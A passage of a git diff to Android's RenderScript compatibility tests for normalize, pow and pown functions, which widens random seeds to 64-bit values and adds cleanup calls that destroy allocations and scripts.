-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9460061cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6db01d449460061cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNormalizeFloatFloat(inV, out);
             verifyResultsNormalizeFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeFloatFloat(inV, out);
             verifyResultsNormalizeFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -114,11 +124,12 @@
     }
 
     private void checkNormalizeFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6e066120l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3cde199a6e066120l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNormalizeFloat2Float2(inV, out);
             verifyResultsNormalizeFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat2Float2: " + e.toString());
         }
@@ -126,9 +137,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeFloat2Float2(inV, out);
             verifyResultsNormalizeFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -190,11 +203,12 @@
     }
 
     private void checkNormalizeFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x642181fel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3cdfe2b5642181fel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNormalizeFloat3Float3(inV, out);
             verifyResultsNormalizeFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat3Float3: " + e.toString());
         }
@@ -202,9 +216,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeFloat3Float3(inV, out);
             verifyResultsNormalizeFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -266,11 +282,12 @@
     }
 
     private void checkNormalizeFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5a3ca2dcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3ce1abd05a3ca2dcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNormalizeFloat4Float4(inV, out);
             verifyResultsNormalizeFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat4Float4: " + e.toString());
         }
@@ -278,9 +295,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeFloat4Float4(inV, out);
             verifyResultsNormalizeFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -348,11 +367,12 @@
     }
 
     private void checkNormalizeHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2f4d2e6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xdfc4bff702f4d2e6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNormalizeHalfHalf(inV, out);
             verifyResultsNormalizeHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalfHalf: " + e.toString());
         }
@@ -360,9 +380,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeHalfHalf(inV, out);
             verifyResultsNormalizeHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -424,11 +446,12 @@
     }
 
     private void checkNormalizeHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x17e4d58l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x340d8ef8017e4d58l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNormalizeHalf2Half2(inV, out);
             verifyResultsNormalizeHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf2Half2: " + e.toString());
         }
@@ -436,9 +459,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeHalf2Half2(inV, out);
             verifyResultsNormalizeHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -505,11 +530,12 @@
     }
 
     private void checkNormalizeHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6086124cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x340d99996086124cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNormalizeHalf3Half3(inV, out);
             verifyResultsNormalizeHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf3Half3: " + e.toString());
         }
@@ -517,9 +543,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeHalf3Half3(inV, out);
             verifyResultsNormalizeHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -586,11 +614,12 @@
     }
 
     private void checkNormalizeHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbf8dd740l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x340da43abf8dd740l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNormalizeHalf4Half4(inV, out);
             verifyResultsNormalizeHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf4Half4: " + e.toString());
         }
@@ -598,9 +627,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNormalizeHalf4Half4(inV, out);
             verifyResultsNormalizeHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNormalizeHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNormalizeHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.java
index 2aa4e99..c02ca7a 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPow.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestPowRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inBase;
         public float inExponent;
@@ -44,13 +51,14 @@
     }
 
     private void checkPowFloatFloatFloat() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x622b91eel, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x49a5f734l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x377b8a6622b91eel, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8bdde8de49a5f734l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowFloatFloatFloat(inBase, out);
             verifyResultsPowFloatFloatFloat(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowFloatFloatFloat(inBase, out);
             verifyResultsPowFloatFloatFloat(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloatFloatFloat: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowFloatFloatFloat(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkPowFloat2Float2Float2() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x895c2294l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xbbad35fal, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x15be0382895c2294l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xeb77bf60bbad35fal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowFloat2Float2Float2(inBase, out);
             verifyResultsPowFloat2Float2Float2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowFloat2Float2Float2(inBase, out);
             verifyResultsPowFloat2Float2Float2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat2Float2Float2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowFloat2Float2Float2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkPowFloat3Float3Float3() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x71d00807l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x12cfb87dl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb0a4522671d00807l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc6e63a6212cfb87dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowFloat3Float3Float3(inBase, out);
             verifyResultsPowFloat3Float3Float3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowFloat3Float3Float3(inBase, out);
             verifyResultsPowFloat3Float3Float3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat3Float3Float3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowFloat3Float3Float3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkPowFloat4Float4Float4() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5a43ed7al, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x69f23b00l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4b8aa0ca5a43ed7al, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa254b56369f23b00l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowFloat4Float4Float4(inBase, out);
             verifyResultsPowFloat4Float4Float4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowFloat4Float4Float4(inBase, out);
             verifyResultsPowFloat4Float4Float4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowFloat4Float4Float4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowFloat4Float4Float4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkPowHalfHalfHalf() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe2a33d87l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x999eb5fdl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7a1d4a5e2a33d87l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x57947e8999eb5fdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowHalfHalfHalf(inBase, out);
             verifyResultsPowHalfHalfHalf(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowHalfHalfHalf(inBase, out);
             verifyResultsPowHalfHalfHalf(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalfHalfHalf: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowHalfHalfHalf(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkPowHalf2Half2Half2() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbeaf459dl, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5bbbe933l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x10fd0fe7beaf459dl, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7ea6c0fd5bbbe933l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowHalf2Half2Half2(inBase, out);
             verifyResultsPowHalf2Half2Half2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowHalf2Half2Half2(inBase, out);
             verifyResultsPowHalf2Half2Half2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf2Half2Half2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowHalf2Half2Half2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkPowHalf3Half3Half3() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb260967al, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5d7d1400l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4a871b7db260967al, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4774ddaa5d7d1400l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowHalf3Half3Half3(inBase, out);
             verifyResultsPowHalf3Half3Half3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowHalf3Half3Half3(inBase, out);
             verifyResultsPowHalf3Half3Half3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf3Half3Half3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowHalf3Half3Half3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkPowHalf4Half4Half4() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa611e757l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5f3e3ecdl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x84112713a611e757l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1042fa575f3e3ecdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPowHalf4Half4Half4(inBase, out);
             verifyResultsPowHalf4Half4Half4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPowHalf4Half4Half4(inBase, out);
             verifyResultsPowHalf4Half4Half4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPowHalf4Half4Half4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPowHalf4Half4Half4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.java
index 51233de..493575f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestPown.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestPownRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatIntFloat {
         public float inBase;
         public int inExponent;
@@ -44,13 +51,14 @@
     }
 
     private void checkPownFloatIntFloat() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x622f0405l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x96b9f1bl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe020952d622f0405l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x9c3888e9096b9f1bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownFloatIntFloat(inBase, out);
             verifyResultsPownFloatIntFloat(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloatIntFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownFloatIntFloat(inBase, out);
             verifyResultsPownFloatIntFloat(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloatIntFloat: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownFloatIntFloat(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkPownFloat2Int2Float2() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xbe438467l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x249076ddl, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7571c02be438467l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xe6177b3249076ddl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownFloat2Int2Float2(inBase, out);
             verifyResultsPownFloat2Int2Float2(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat2Int2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownFloat2Int2Float2(inBase, out);
             verifyResultsPownFloat2Int2Float2(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat2Int2Float2: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownFloat2Int2Float2(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkPownFloat3Int3Float3() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe35ff8a2l, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x144a81a8l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5e88c45be35ff8a2l, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xaf710734144a81a8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownFloat3Int3Float3(inBase, out);
             verifyResultsPownFloat3Int3Float3(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat3Int3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownFloat3Int3Float3(inBase, out);
             verifyResultsPownFloat3Int3Float3(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat3Int3Float3: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownFloat3Int3Float3(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkPownFloat4Int4Float4() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x87c6cddl, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x4048c73l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb5ba6cb5087c6cddl, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x508096b504048c73l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownFloat4Int4Float4(inBase, out);
             verifyResultsPownFloat4Int4Float4(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat4Int4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInExponent(inExponent);
             scriptRelaxed.forEach_testPownFloat4Int4Float4(inBase, out);
             verifyResultsPownFloat4Int4Float4(inBase, inExponent, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testPownFloat4Int4Float4: " + e.toString());
         }
+        inBase.destroy();
+        inExponent.destroy();
     }
 
     private void verifyResultsPownFloat4Int4Float4(Allocation inBase, Allocation inExponent, Allocation out, boolean relaxed) {
@@ -367,13 +390,14 @@
     }
 
     private void checkPownHalfIntHalf() {
-        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x858a42bbl, false);
-        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x30c3d6f1l, false);
+        Allocation inBase = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x89409624858a42bbl, false);
+        Allocation inExponent = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xfdb4ee1e30c3d6f1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInExponent(inExponent);
             script.forEach_testPownHalfIntHalf(inBase, out);
             verifyResultsPownHalfIntHalf(inBase, inExponent, out, false);
+            out.destroy();
         } catch (Exception e) {
